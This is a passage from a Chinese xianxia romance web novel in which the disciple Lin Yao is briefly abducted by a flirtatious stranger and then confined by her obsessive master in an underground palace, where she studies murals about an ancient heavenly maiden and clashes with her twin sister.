林瑶两指夹住那个不停在她耳边唠唠叨叨的纸鹤毫不犹豫按进了眼前的茶杯里,然后拿盖子盖上,随后若无其事地又重新给自己沏了一杯茶。
等他们吃完饭,在林瑶面无表情地淹死第五只小纸鹤后,当第六只飞过来的时候,林瑶想毁灭它的动作一顿,因为她听见了尹星灯令人头皮发麻的咬牙切齿的微笑声。
“乖徒,你还回来吃晚饭吗?”
林瑶隐约觉得如果再不给师父回句话,那么她死的可能会比那几只纸鹤还惨。
于是某国师在遣走第六只纸鹤后终于收到了爱徒的回复,原本紧锁的眉头终于舒缓,两指夹着纸鹤挨近自己耳边如聆神谕,听到了浅浅的一声“嗯”。
……
晚上最热闹的地方无非是绮霞池附近,灯火璀璨、游人如织。今夜似乎更是喧嚣……
一群人围成一个圈,人头攒动、议论纷纷,林瑶等人好不容易才凑上去,原本以为是杂耍什么的,没想到却是一样见所未见的生物。
被人群围在中心的杂耍艺人是一个四五十岁的中年男人,一张看了让人记不住的脸,手里拿着铜锣不时敲打一下:“瞧一瞧看一看咯,硕鼠表演马上开始,走过路过不要错过!”
到成人膝盖高的铁笼子里有一只肥硕的巨大老鼠在急躁地转圈,身上的皮毛油光发亮,仿佛柔滑的缎子面,一对小眼睛却是血红的,散发着诡异的幽光,硕鼠似乎很厌恶围观自己的路人,时不时朝铁笼外面的人呲牙,喉咙里发出急促的吱吱声,一对相较于它庞大的身躯来说有些娇小的前爪不停地抓挠着铁笼。
林瑶看了一眼转头就想走,但盛祁星似乎有些感兴趣,目不转睛地盯着笼中硕鼠,林瑶只好停住迈出的脚步。
就在这时,一个年轻小伙在中年男人的指导下将笼门打开,拽着硕鼠粗壮如井绳的长尾巴将它拖了出来,围观人群又是一阵骚动。
硕鼠脱离牢笼后似乎又胆怯了起来,蜷缩在原地仿佛一团毛球,尾巴紧紧圈住自己的身体,无论杂耍艺人怎么逗引哄劝就是不肯表演转圈、算数的项目,气得那个中年人破口大骂,眼见围观的群众已经走了一小半,中男人面露凶光,提着鞭子的手腕一抖,凌厉的牛皮鞭子带着风抽在了硕鼠身上,硕鼠嗓音尖利地嚎叫着,一声比一声激烈,前爪疯狂地刨着坚硬的地面,似乎想刨出一个洞将自己藏起来,在这空当里它已经挨了好几鞭子。
盛祁星手中灵光微动就被旁边的叶斐眼疾手快地按住了,前者眸底染上了三分愠怒,气息不均道:“师兄你拦我做什么?万物生而有灵,此人实在可恶!”
叶斐微微朝她一扬下巴,盛祁星侧目看去,只见林瑶双手合十,继而手腕翻转,十指结作一个花印,迅速在空中点了几下,刹那之间电光划破长空,豆大的雨点砸向地面,不消片时已经是倾盆大雨,围观路人登时作鸟兽散,那杂耍艺人似乎没想到会忽然天降大雨,茫然了一阵气愤地咒骂起老天爷来了。
林瑶刚松了一口气,还没来得及擦一把脸上的雨水,忽然之间那只硕鼠朝他们三人冲了过来,血红的眼睛里凶芒毕露,看似肥硕的身体移动起来居然快如奔兔,几个呼吸之间已经近在眼前。
“师妹小心!”
叶斐手腕一抖出现了一把墨色长剑,一手抓住盛祁星的手腕向自己斜后方一甩,另一手执剑斜向下劈,而盛祁星借着被叶斐向后甩的空当,手臂上出现了一只弓弩形状的东西,对准地上的硕鼠三箭连发,师兄妹二人虽然配合得当逼退了硕鼠,但是那个中年杂耍艺人已经提着两把寒光凌冽的长刀一个纵跳出现在了盛祁星身后,多亏叶斐眼疾手快,喝令一声“低头”随后毫不犹豫地执剑扫过盛祁星头顶,格挡住了中年人的单刀,另一刀刚要砍至叶斐的腰被盛祁星一支弩箭射歪斜砍向自己,中男人拧腰一转化去左手刀的力道,右手刀刺啦一声从叶斐的剑刃上斜切下去,两相擦出四溅的火星。
林瑶一愣神的功夫双方已经交手了好几回合,她实战经验甚少,刚祭出问灵魂灯,身后忽然出现了一个鬼魅般的身影,她迅速转身,魂灯蓝紫色的光芒映亮了那人下半张脸,他一袭黑衣隐藏在夜色里如同幽灵,头上遮着一顶斗笠,帽檐下压遮住了眼睛,雨水顺着他苍白的脸颊往下流,那人叼着一根狗尾巴草,薄唇勾起一抹冰冷而邪恶的笑意。
“小美人,三打一多没意思,我来陪你玩玩。”
39. 在下,六个水
这是之前帮杂耍艺人往笼子外面拖硕鼠的那个年轻人。
林瑶脑海里刚闪过这个念头,那人已经勾手成爪朝她肩膀袭来,速度之快林瑶根本躲不过,眨眼间喉咙一痛,后背紧紧贴上了一片坚实的东西,凉薄的呼吸喷洒在她脸上,那人有些遗憾地轻啧一声,呸掉了嘴里的狗尾巴草:“原来小美人这么中看不中用啊,不过也好,正好我穷得娶不上老婆,这下我老爹不用愁了。”
林瑶咬紧牙关,一个肘击过去让对方死死锁住了胳膊肘,抬手一击她整条胳膊都麻了,软绵绵垂在了身侧,那股酸麻更是顺着手臂传遍了全身,她手中魂灯掉落之前让那年轻人接在了手里,他惊奇地提在手里看了看:“嗯,正好我家鸡棚里缺个照亮的灯,多谢媳妇儿馈赠。”
他揽过林瑶纤细的腰身往自己肩膀上一甩,扛着她几步跃上了屋顶,抽空朝下面喊了一句:“老爹,你慢慢收拾那两个家伙,我先回去成个亲!”
林瑶屈辱地在他肩膀上挣扎着,声嘶力竭地呐喊:“放开我!我师父是星辰宫宫主、琅嬛国师,他若发现我不见了定会来寻找,到时候你们一个都跑不了!”
年轻人一边扛着她急促奔跑,一边却气息平缓地笑道:“又是星辰宫主又是琅嬛国师,你到底几个师父?”
林瑶脑子里飞速思考着今天发生的事,这个人出手果断、修为高深莫测,盯着她一个藉籍无名之徒着实蹊跷,莫非是……
林瑶当即问道:“你们是为了那两位梵净山仙友而来?今夜之事就是为了引他们出手,究竟所图何事?”
林瑶心下暗道:莫非真是为了对付梵净山,那抓她做什么?她在玄都生活了这么多年从未遇到过这种事……不对!陌菱,陌菱小时候也被一群来历不明的人抓走过!
她忍不住胆战心惊,难道今天这两人和抓走陌菱的是同一伙?可是之前拐卖少女的血衣教不是已经被剿灭了吗?
年轻人笑得不紧不慢:“小美人,我只是为你而来,我对你一见钟情,所以呢,打算找个安静的地方和你单独聊聊。”
他跃下屋檐将林瑶稳稳放在地面上,此时月照花林,林瑶湿漉漉的衣服贴在身上,被风一吹寒意刺骨。
那人掀开头上的斗笠,露出了一张完整的脸,被雨水打湿的卷发贴在象牙白的皮肤上,一双狭长而深邃的桃花眸含着浓烈的笑意,很是奇怪,他遮住眼睛时,下半张脸带给人的感觉是不近人情的冷厉,而露出眼睛却如同摇曳盛放的罂粟花,笑得让人没来由地心慌。
“你叫什么?”
他开口问的就是这个。
林瑶见对方不为难自己,默默等着身上那股酸麻劲儿过去说了自己的名字。
“林瑶。”
年轻人摸摸自己的下巴琢磨着这个名字:“嗯,不知道的还以为你跟芙蕖观的林老道是兄妹呢。”
林瑶无奈地抬眼注视着他:“还未请教公子尊姓大名。”
“我叫——六个水。”
“啊?”林瑶呆住了。
那自称六个水的歪头一笑:“啊什么啊?”
林瑶知道对方完全是戏弄自己,气得玉面生煞,心里还在担心叶斐和盛祁星却只能勉强压住,继续跟这六个水周旋。
此人完全不暴露自己的目的,言行举止也相当诡异,着实有些难以对付,明明她现在受制于人,他却还不肯露出真面目,究竟所图何事?
六个水凝视她良久忽然叹气,桃花眸里灼灼的笑意也随着黯淡下去。
“难道你都忘了吗?我小时候晕倒在街边,就快饿死的时候是你救了我,我一直记得你,即使你现在长大了,我也还是一眼就认出了你,你当真不记得我了吗?”
林瑶从小到大帮助过的人没有一千也有八百了,想破了脑袋也记不起来对方究竟是谁,她这微微一愣神,六个水又立刻神采奕奕道:“不过没关系!我记得就成了,瑶瑶,嫁给我吧,我这几年街头卖艺攒了好多钱,我都给你!”
说着从全身上下翻出了一堆破破烂烂的铜板塞进了林瑶手里,趁她发愣之际飞速在她眉心浅啄一下随即身影消失。
“瑶瑶!等我回来娶你哦!”
“不是……我……”林瑶干涩无力地想喊住他,却又不知道自己该问些什么。
这就走了?危机解除了?他绑架我的意义何在?
林瑶六神无主地一转身,看到月下站着一个颀长身影,对方脸色铁青,一步一步朝她走了过来,林瑶生出了一股拔腿就跑的冲动,但腿却怎么也迈不动,仿佛被对方冰冷到如有实质的目光钉在了原地。
这下被六个水坑惨了……
尹星灯抬手抚摸上她的脸,继而下滑到她的肩膀,力道越来越大,似乎要捏碎她的肩膀,脸上却带着淡淡的微笑,发出的声音轻飘飘的,却伴着凶狠的笑意。
“真是我的好徒儿啊,彻夜不归出来跟人私定终身,为师真是小看你了……”
他说到最后低垂着眼眸,纤长的睫毛遮住了眼底泛起的血丝,死死钳在林瑶肩上的手终于松开,缓缓向下滑去,最终落在了她手上,轻轻掰开她的手指,捏着她手心里那些边角破损的铜板冷笑出声:“那个人是谁?”
林瑶摇摇头,急忙道:“师父,他是偷袭我和叶斐他们的刺客,叶斐他们还有危险,我等会儿再跟你解释好不好?”
尹星灯随手丢掉了手里的几枚铜板,眸光越来越冷,嘴角最后一丝笑意也消失殆尽,掐着她的下颌目眦欲裂,愤怒的咆哮在她耳边炸响:“你还想瞒我到什么时候!几次三番想跑出去,就是为了去见刚才那个人是不是!谁给你的胆子居然妄想私定终身?从今天开始,你休想再踏出星辰宫一步!”
……
竹林幽暗,月影斑驳处立着一道挺拔的黑影。
先前那位杂耍艺人来到了六个水身边,忽然跪倒在地,战战兢兢道:“君上,属下任务失败了,逍遥君忽然出手救走了那两人……”
六个水微一扬手,神色冷峻,之前与林瑶谈笑风生的模样荡然无存:“废话不用讲给我听,自己去圣女手下领罚,还有,盯紧尹星灯的那个大弟子林瑶,暂时别让她轻易离开玄都。”
“君上,那梵净山的雨露试炼?”
“不急,届时本座会送份大礼给梵净山,做好你该做的,林瑶若是有所闪失……”
“属下明白!”
星辰宫,地宫。
林瑶跟宫玄烛待在一处,两人不知说了什么,只见宫玄烛匆匆离去了,尹星灯并不搭理二徒弟,只往正殿中走去,看着白衣如雪的大弟子,她即便是身陷囹圄,还是这么不卑不亢,清冷孤傲仿佛一枝白梅,让人忍不住想攀折下来插在金瓶之中独自赏玩。
他在她面前坐下,不禁轻叹:“为师本不想这么对你,可你冥顽不灵,非要跟为师对着来,瑶儿,我都是为了你好,你怎么
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就不能体谅为师的苦心呢?”
林瑶半阖眼眸,脸上浮现一丝不耐烦,静了好久才道:“是为我还是为你自己,师父心里有数。”
尹星灯的心事被当面揭穿,并没有恼羞成怒,反而是笑了,舒心至极,不禁笑叹:“我的瑶儿果然是冰雪肝胆、琉璃心肠,居然猜得出为师的心思,那你可知,为师现在在想什么?”
林瑶玉面微绯,低垂了眼睫。
尹星灯凑上前,在她耳边压低了声音,如同蛊惑,嗓音缠绵低沉:“为师现在无比的……不!应该是一直以来,就想这么与瑶儿独处,”
他的唇越凑越近,林瑶侧头避开,勃然大怒:“尹星灯!我叫你一声师父,你好歹有个师父的样子!”
林瑶向来对尹星灯尊敬有加,对外人都十分和气,今日这般出言顶撞,可见是动了真气,那玉面含怒的模样让尹星灯有些不知所措,半蹲在地上怔了许久,广袖下的手不由发抖,放低了声音,谦卑得有些可怜:“瑶儿,是为师不好,不该这么逼你,你别生为师的气了,好不好?”
林瑶缓了缓心神,见一向对世俗礼法视若无物的师父如今这般模样,恍然枝头明花落入尘寰,心中又是同情又是悲悯,万般言语竟也是无从出口。
情之一字当真害人不浅,可是,她不会委屈自己去成全别人,林瑶这么想也这么说,将一颗无暇的琉璃心剖给他看。
“承蒙师父错爱,林瑶于您只有师徒之情,绝无半分男女之意。纵然是违心相待,料想也非师父所愿。”
尹星灯听了这话,脸上原本哀伤的神色渐渐撕裂,取而代之的是诡异的欣喜,双手死死钳住林瑶单薄的肩膀,目眦欲裂:“即便是违心的喜欢,你可曾给过我半分?瑶儿,假的我也要,轮不到旁人。古法有载,修炼无情道需要祭品,你知道的吧?为师愿意做你的祭品!”
他越说越激动,仿佛已经能想象到成为祭品之后,林瑶会怎么对自己……全身的血液沸腾着往上涌,脸颊绯红、浑身燥热起来,紧紧盯着眼前那张如冰似雪的脸,只要她点个头,哪怕是将抹着剧毒的匕首刺进他心脏里也甘之如饴!
林瑶似乎被这句话镇住了,眼睛微微睁大,随即明白过来,原本冷淡的面容覆上一丝阴霾,别过脸去不再看他:“那是邪门歪道,我怎么可能会做那种事……”
一瓢冰水泼头。
尹星灯仿佛一头被激怒的狮子,亦仿佛磨牙吮血的鬼怪,幽暗的地宫里,那双眼眸跳动着血色的诡异光芒,再也跟仙人沾不上一点边。
“林瑶……你,你是真不怕我杀了你吗?”
他重重地呼吸着,平复自己的心绪,仿佛垂死挣扎的困兽,半炷香后,他渐渐找回了自己正常的声音,“瑶儿,别再逼我了,我不知道被你逼急了,我会做出什么来……你乖乖听话不好么?你留在我身边,想要什么为师都可以给你。”
林瑶不免哀叹,连目光也无处安放,她不敢去看尹星灯的脸,害怕对上那炽热而癫狂的目光,黯然望向泣泪的冷烛:“你打算锁着我一辈子?”
尹星灯笑道:“有何不可?”伸手摸摸她的发丝,眸中是再也掩藏不住的贪恋,“你是为师的,为师想怎样就怎样。”
“既然你不肯接受,那就好好在这里待着,若是后悔今日决定,随时可以告诉我。”
林瑶冷冷撇过脸,几乎是一字一顿,如同水珠砸在冰面上:“弟子绝不后悔。”
40. 千载壁画
过了十天有余,林瑶就开始坐立难安了,地宫暗无天日,跟她以前住的地方根本不能相提并论,唯一的光线来源就是昏黄的蜡烛光芒,在这么昏暗的处境下,她想看书打发时间都做不到,而且尹星灯也根本不会给她带书过来,他的目的就是磨垮林瑶的意志,让她屈服、求饶。
她身上的枷锁被去掉了,毕竟还要在这里待许久,地宫很大,但除了林瑶待的正殿,其他地方都处于黑暗中。
尹星灯隔上五六天会来看她一次,其余时间都是看守地宫的弟子过来给她送饭,牢牢替尹星灯监视着她。
在地宫里渡过的第十六天,林瑶拔下发簪,在桌子左上角刻了三个“正”字的旁边又刻了个“一”。
她看着自己的手心,不甘心地念动咒语,集中精力,双眸紧紧锁着掌心,额头两侧渐渐沁出一层薄薄的汗水,就在这时,掌心里泛起了一丝微弱的白光,林瑶试着向指尖灌去,这点微弱的光芒在流向指尖的途中仿佛被什么东西阻断了,登时作鸟兽散,逃窜得无影无踪。
地牢向来是关押重要罪犯的,尹星灯设置的锁灵阵对八阶化羽境界以下修士几乎是全方面压制。
锤炼修为是无望了,林瑶现在唯一能做的就是修炼心境,可惜困在这暗无天日的地方,她根本静不下心,焦躁的情绪在与日俱增,某日,似乎是下雨了,她听着雨声迷迷糊糊地睡了过去,睡意朦胧间听到了雨声之外的一声闷响,仿佛是有人从高处跳了下来,她骤然睁开了眼,心脏仿佛被一根绳子高高提起,凝眉望着厚重的殿门,想着要不要下床去看看。
林瑶静静躺在床上凝神细听,起先她还以为是地龙翻身,就在此时,印在窗户纸上的高大人影消失了,脚步声渐渐远去。
林瑶一晚上都没有睡,第二天从正殿的一堆杂物里翻出了一个旧灯架,她倒提着凳子拆了那个灯架,挑了几根能用得上的支杆,撕了自己用不上的披帛将支杆系在一起挂在门闩上,拉开门试了一下,青铜管相互碰撞,发出了一阵悦耳的脆响。
此后,她没有再从梦中惊醒过,挂在门上的青铜风铃没有在夜间发出过一次警示。
林瑶举着一根蜡烛往其他地方走去,狭长的甬道里灰尘簌簌、走过去能留下脚印,她费力推开尽头一扇木门,通道就豁然开朗了起来,这里又是一间宫室,比她住的那间大了两三倍不止,只是里面空空荡荡,只是在靠墙有几套陈旧的花梨桌椅,中间是一个巨大的观星仪器,看材质是大理石雕刻的,林瑶知道那个放置观星仪的圆台是乾坤台,星辰殿前也摆放着一个类似的,不过比这个要小一点、更加精致一点。
林瑶举着蜡烛打算再往里面走走,摸索到入口时,她在门边看到了一张脸,那是一张侧脸,细长的丹凤眼仿佛在直勾勾看着她,脸上蒙着灰尘。
林瑶眼皮跳了跳,微微抚着心口蹲下了身,她有一瞬间脑袋是空白的,而后发现那不过是一幅壁画,她将蜡烛往旁边举,更多的壁画都延展出来了。
林瑶惊得张大了嘴巴,这里的墙壁上,密密麻麻的几乎都画满了人物,大一点的几乎是等人高,小的只有巴掌大小,笔锋柔中带刚、线条流畅宛转,约莫五六十个人挤在同一面墙上,却主次分明、错落有致,这画功可见一斑。
林瑶这般想着,已经凑近了画壁,举着蜡烛一一细看,这幅画右侧是一个穿着玄袍、带着九簇冕旒冠的中年男人,龙眉凤目、威风凛凛,却是双手抱拳作揖,他身后簇拥的依次是打着华盖的窈窕宫女、臂挽拂尘、头戴高帽的太监以及持枪佩剑的侍卫。
而壁画左侧的人物只有一个,跟右侧的帝王一样是等人身高,玉冠鹤氅、仙风道骨,周围画了七彩祥云、仙鹤起舞、白鹿呦呦,显示此人非同凡响,而壁画最右侧的题跋上赫然写着:穆王请贤,后面跟着一串年月日以及画师的名字,好几个残旧的印章。
林瑶根据穆王以及时间推算,知道这是一千两百年前的画作了,几乎是脑子里产生这个想法的一瞬间连忙将蜡烛撤远。
一面目不转睛地看着画壁,一面又忍不住起疑,这般传世奇作,尹星灯为何从来没让弟子们观摩?若说是珍视也是说不通,搁在这潮湿阴暗的地宫中,几乎都不设阵法保护,许多墙皮都掉落了,画作斑驳破损,林瑶忍不住心疼,太暴殄天物了!
她转而看第二幅,这幅更是恢宏绚丽,人物女性居多,上空更是盘旋着五只凤鸟,中间是金碧辉煌的宫殿,夹道里穿梭着来来往往的宫女……
林瑶通过壁画仿佛瞬间穿梭到了千年之前,巍峨富丽的穆王宫里迎来了头等大事,上至帝君王后、下至宫女太监,人人紧张,个个提心吊胆。
未央宫里人人屏息凝神,紧张却有序地做着自己的事情,一盆盆热水不断送入未央宫中,刚下朝回来的穆王焦急地在庭院里走来走去,时不时望向殿内的遮挡住他视线的厚重屏风,以及深深闭合的内殿雕花朱门,而旁边的国师却面不改色,负手而立望着天边盘旋的凤鸟出神。
不一会儿,清脆的婴啼声打破紧张的气氛,穆王明显松了口气,自己却不着急进去,产婆带领着两个宫女出来了,她们怀中各抱着一个粉嫩的婴儿,而国师却径直走向了左侧的宫女,伸手抱过她怀里的孩子,微微一笑,雪白的指尖点在婴儿额头,轻声吐出几个字:“这就是琅嬛国的天女。”
一点鲜红的蜡油滴到林瑶的食指指尖,她被烫得回过神来,目光从这幅天女降生图的赋文上移开,转到那位国师身上,这显然跟前面一幅上的道士是同一个人,只是服饰有所变化,不再是雪白的云衫羽衣,而是绛紫色的华丽道袍,白狐裘罩在身上,雪白的狐毛领衬得此人越发面如冠玉。
林瑶忍不住想起了尹星灯,这装束实在是太过独特,若说是截然不同的两个人,穿着为何会如此惊人的相似?
莫非尹星灯在一千多年前就在琅嬛国不成?而且还做了国师?可文渊阁史书记载,尹星灯明明是肃王时期游历至琅嬛的,也就是三百年前,辅佐了肃王、肃王之子苌修、苌修终身未娶,而后是其八岁的弟弟厉王继位,厉王统治期间手段雷厉风行,但是情深不寿,殚精竭虑后死在了北伐战役中,再后来就是墨玉沉之父惠王即位,这位擅长于韬光养晦,牢牢守着祖先、特别是父亲厉王打下来的大片疆土,虽然没什么作为,但也算是无功无过,直到现在的墨玉沉……
林瑶暂不知道怎么评价这位人皇帝主,墨玉沉少年时期颇受惠王青睐,他聪敏机谨、文武双全,惠王常当着满朝文武的面夸下海口,此子将来可承其祖父之业!
但惠王百年之后,这继位的少年却仿佛转了性子,骄奢淫逸,广纳天下美女填充后宫,大兴土木供其享乐,光是行宫就修建了二十余处。
当初若非林瑶与陌菱年纪尚小,且又是尹星灯的亲传弟子,墨玉沉本想着是将这青出于蓝的玄都双姝一起收归囊中的,但无论是多惊才绝艳的人物,两三年后他自然就腻了,依旧是吃着碗里的看着锅里的,当今皇后温柔贤惠,落落大方,又是林瑶亲姊,当年美名传遍京都的才女,但是当豆蔻年华的林瑶、陌菱随母进宫探望长姐时,墨玉沉看着这艳桃秾李般的两人,一句“青出于蓝”脱口而出,林瑶看见坐在上面的长姐脸色僵硬,但还是扯出一抹得体的微笑,附和着墨玉沉,夸赞她和陌菱……
虽然得了墨玉沉可随意进出皇宫的特许,但林瑶基本上是不去的,除非是皇后传懿旨。
有一次是皇后生辰,她做妹妹的于情于理都应该前去拜贺,皇后梳妆打扮要好长一段时间,皇后疼爱她,拿了许多绘图的藏书给她瞧,让林瑶挑喜欢的去外面吹吹风。
那是文渊阁的珍藏书籍,描金彩绘,极其罕见,林瑶开心极了,挑了本九洲地理志抱在怀里,行至牡丹亭觉得景色宜人,便坐下来翻开了地理志。
从中洲灵煌看起,她聚精会神,先看文字,然后细细去看那些精致的绘图,将文字跟图画上的山川河流一一对应起来,她白衣如雪、独倚斜栏,看累了就单手支着下巴,万紫千红、争香斗艳的牡丹都成了这幅画卷中的陪衬。
看着看着,林瑶忽然觉得不对劲,一扭头看到了一张面孔,那人的下巴几乎就抵到她肩膀上了,男人发出低沉的笑,一股浊气喷洒在林瑶脸上。
“闻惯了后宫妃嫔身上的各种花香草香,姨妹身上这股雪檀香真是雅极。”
林瑶早就从原先坐着的地方站了起来,迅速退后两三步,她屈膝施礼,脸色难看到了极点,对方却浑然不觉,而是伸手道:“不用等你姐姐了,孤王带你去凤仪宫看看。”
林瑶看着那只朝她伸出的、戴着一枚雕龙玉扳指的手,站在原地不知所措,但这时,尹星灯出现了,他只朝这位九五至尊点了个头,伸手把林瑶抱在怀里的书扯过去,淡淡扫了两眼,随意丢在了长椅上,他根本不似墨玉沉那样伸出手等她作出反应,蛮横地抓起她垂在身侧的手迈大步就走。林瑶能感觉到师父火气很大,但没有迁怒她半句,一直走到御花园出口处才半蹲下来与她平视,他轻轻吸口气,语调波澜不惊地道:“你想看什么书跟为师说就好,为何要……跟陛下开口?你以为文渊阁的书这么好借阅?”
林瑶低声辩驳道:“是皇后娘娘给我的,我没有主动要……”
尹星灯沉默良久,抬手轻轻抚摸她的头顶:“瑶儿,宫里的人都不似表面看起来那样简单,别人给你的东西轻易不要收,知道吗?只有师父是真心为你好的。”
林瑶当时似懂非懂地点点头,以为师父是关心过切,如今看来早就存了别的心思的。
在昏暗潮湿的地宫之中,林瑶有点理不清思绪,她还是不知道尹星灯和千年前那位穆王时期的国师究竟是什么关系,只好举着蜡烛继续看壁画。
她脚步轻移,往左边走去,这幅的题跋是传道授业,看得出来那位天女长大了一些,抓着毛笔托着腮皱眉深思,国师坐在身后,握着她的小手,几乎是将她抱在怀里,他看着百无聊赖、打着哈欠的小徒微微蹙眉,但眼底却含着笑意……
这些壁画,似乎是在记载这位天之骄女的一生,但林瑶并不急着往下看,而是一幅一幅细细观摩,她揣测着画上人物的细微表情,似乎能听到他们在千年之前的对话。
你是天女,将来是要拯救黎民于水火,挽救国家于危难的。
天女是什么?
你是上苍对人界的眷顾,是诸神对琅嬛的赐福,虽然你命途坎坷,但秉性坚韧,你会爱着所有人,爱你的子民,会为了他们一往无前。
看到第四幅的题跋,林瑶心头一紧,除煞扶仙。
这幅大概的意思是,天女和一起出生的妹妹在太液池玩耍时失足落水,对常人来说不过是一场风寒,可是这位身娇体弱的天女忽然发起了高热,几乎命在旦夕,国师守在她身侧,断言妹妹是煞鬼,要将她逐出王宫天女才会痊愈,身体才会日渐康复。
林瑶的心紧紧揪了起来,看着妹妹被赶出了王宫,小女孩跪在宫门口低垂着脑袋,发丝遮盖着脸颊,天空阴云密布似乎是在下雨,雨水渐渐凝结成了霜雪,落满了她单薄的肩膀,她摇摇晃晃站了起来,赤着脚在泥地里踏出一行浅浅的脚印……
林瑶恍然觉得身后有一道幽冷的目光在注视着自己,一转身看到幽暗的甬道里站着一袭红衣的纤瘦身影,那人慢慢从里面走了出来,几乎看不到脚步挪动,红裙飘飘,腰间环佩叮当,如同一片被轻风吹动的花瓣,微弱的烛光下,她的肤色苍白如瓷,嘴唇却又殷红如血,如墨长发绾成一丝不苟的随云髻,等看清她面容时,林瑶悬着的心落下,但又紧张起来,轻声唤道:“菱儿,你怎么来了?”
来人的确是陌菱,她双手交叠在小腹前,美眸微垂,唇角勾起一丝讥笑:“有人派我过来的,不然你以为我愿意对着你这张脸?”
林瑶黯然捏紧了拳头,她咬咬唇想说什么,陌菱直接打断了她,语气凉薄地讥讽道:“我就知道又是这样,有时候我不免怀疑,你是真的跑不掉还是在欲擒故纵,让他这么追着你,你很受用是吧?”
林瑶抬起了头,眸中闪过一丝诧异,肩膀微微颤抖着:“菱儿,你怎么能这么说我……”
陌菱却依旧不为所动,审视的目光打量着眼前楚楚可怜、柔弱可欺的姐姐,她轻轻啧了一声,摇摇头:“怎么就没办法了?你还可以给自己毁个容啊,我就不信你变成了丑八怪他还会为你丧心病狂,不想弄的这么惨烈你就答应他啊,反正男人都朝秦暮楚,玩腻了也就厌烦了,嗯?”
陌菱挑眉看向林瑶,殷红的嘴角抿起一个极其虚伪的笑容。
林瑶呆愣着站在原地,她的双手捏紧又松开,垂着头隐忍着窒息般的痛意。她知道,陌菱恨她,如今这些不过都是她应得的惩罚,她不知道,若是自己跟陌菱异地而处,会不会更加痛恨对方。
明明是双生子,一模一样的容貌、一模一样的声音,父母、姐姐、师父却都深深宠爱着其中一个,而对另一个不闻不问,甚至是厌恶的。她们的命途轨迹都是不一样的,姐姐从小就被师父保护得无微不至,身上带着灵宝法器,以至于在祭天游中,妹妹被歹人拐走了,而姐姐却依靠法宝庇佑安然无恙。
林瑶心里自然是委屈的,但是她知道,陌菱比她更委屈,她这点委屈便微不足道了,她宁愿当初被拐走的那个是自己。
明明拼死拼活从修罗场中爬回来,父母做的第一件事却是掀起她的袖子,确认她身上什么东西也不曾少、什么东西也不曾多,这才勉强接受了这个曾丢失了的小女儿,嘱咐她道:以后出门要戴着面纱,别让外人认出来,毕竟你在那种地方待过,好说不好听
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……
陌菱当时已经十四岁了,听了这话只是笑笑,那笑容凉薄中透着一丝心如死灰的冷寂,第二天就接了墨玉沉的旨意,搬去了璇玑殿住。她享受着比公主还奢靡的待遇,墨玉沉对她几乎是有求必应,也根本不用她开口说什么,只要对喜欢的东西露出一个笑容,墨玉沉就会捧至她眼前,对讨厌的人或物皱皱眉,墨玉沉自然会替她处理干净。
尹星灯无疑是喜欢林瑶与世无争、素雅淡漠的模样,陌菱却恰恰相反,她华服浓妆、从来都是梳着繁复高耸的发髻,戴着整套的头面,仿佛是刻意要把自己和林瑶区分开来。
可明明她们小时候喜欢穿一样的衣服,戴一样的发饰,总是喜欢玩互换身份的游戏并乐此不疲,曾经林瑶以为她们会一直这样,做一对很好很好的姐妹,世界上没有再比彼此更加亲近的人,可是偏偏有人喜欢打破这一切。
她们都喜欢画画的,小时候总爱拿这个比赛,暗自在书房画完再拿去给父母看,陌菱从来都没有赢过林瑶,她也很佩服姐姐,觉得姐姐天赋异禀,直到有一次陌菱跟着姐姐跑的时候摔倒了,林瑶立刻来扶她,拍拍她身上的土,再次起身时,两幅落在地上的画被它们的主人拿反了。
这次,慈祥和蔼的母亲看着画,摸着林瑶的头将她圈在自己怀里,微笑道:“我看啊,还是你这幅好,我的宝贝女儿这小手真巧。”
或许是从那时开始,陌菱身上就有些东西不一样了,她不再画画了,林瑶问起也只会笑一笑,那笑容很乖巧,她说:“我画的没有姐姐的好看,算了,不画了。”
陌菱不知道是什么时候走的,等林瑶再回过神,她面前站着尹星灯,他脸色阴沉,几步上前掐住她的下巴,迫使她抬头望向自己,脸颊上的肌肉在轻轻发抖,冰冷的气息裹挟住林瑶全身,她不由地打了个哆嗦。
“把你关在这里你还敢乱跑,非要我时时刻刻盯着你才行,是吗?我乐意之至!”
林瑶的手一抖,蜡烛跌在了地上,滚了两圈彻底熄灭,眼前霎时间一片漆黑,等她慢慢适应光线时,只能看到尹星灯衣袍上隐隐发亮的星纹流线,随着他的走动仿佛月下波光跳动的水面。
林瑶被他拽着手腕往外面走,她踉踉跄跄看不清路,不知踩到了什么脚下忽然一绊,整个人都向前跌去,她手忙脚乱间想着扶住墙壁,却像是摸到了一个冰凉的、拉环一样的东西,随着惯性,铁环被她拽动,眼前忽然有光芒闪动,倾刻之间,整个地宫亮了起来,尤其是这条甬道外面,白光刺目,尹星灯抬手挡了一下光芒,林瑶已经几步上前抢着出了甬道,她看到那座观星仪亮了起来,仿佛一轮巨大的月亮,光辉投射在乾坤台上,刻在大理石上的几圈字符都呼应着它的光辉,一闪一闪、明明灭灭。
“师父,这是穆王时期的观星仪吗?”
看着徒儿求知若渴的眼神,尹星灯忘了自己还在生气,双手抱臂、慢悠悠地介绍了起来。
“的确,这是一千两百年前的东西了,造这个东西的人有点本事,这么久了居然还完好无损……”
说到后面他的声音渐渐低了下去。
“师父,我们星辰宫那个观星仪能历经千年吗?”
“当然能,万年都不成问题。”
尹星灯对自己造的东西显然是充满信心,目光瞥向自己的徒弟,眸中含着警告意味:“不过是个千年前的古人,居然值得你这般重视,还拿来与为师比较,说,你觉得谁比较厉害?”
他步步紧逼,林瑶一点点后退,腰心靠到了乾坤台冰凉的边沿上,林瑶迅速转移话题,反正她师父的记性不好是有目共睹的,只要多绕上几圈他就忘了之前的话题了。
“师父,弟子还有一事不明。”
尹星灯一手已经撑到了乾坤台上,一低头下巴似乎能抵在林瑶头顶上,似笑非笑的声音从上方传来。
“什么事?”
林瑶倒真有事问他,有些事在文渊阁查起来太费力,而且门槛也高,倒不如直接问尹星灯。
“师父,穆王时期出现了一位天女,您知道是哪位公主吗?还有,当时的国师是谁?”
林瑶趁着尹星灯愣神的功夫已经一矮身从他的臂弯下钻了出来,若无其事地假装研究那个观星仪,那炯炯有神的大眼睛快把观星仪盯出坑来了。
尹星灯陷入了思考,抚着下巴蹙眉不语,对于一个连自己关没关书房门都记不住的人来说,让他回忆一段一千两百年前的历史的确太难为人了。
尹星灯开始踱步,背着手来回走,最后从这间放置观星仪的宫殿晃到了之前他关着林瑶的正殿,脚步还不停,一直往地宫外面走,林瑶从善如流地跟着。
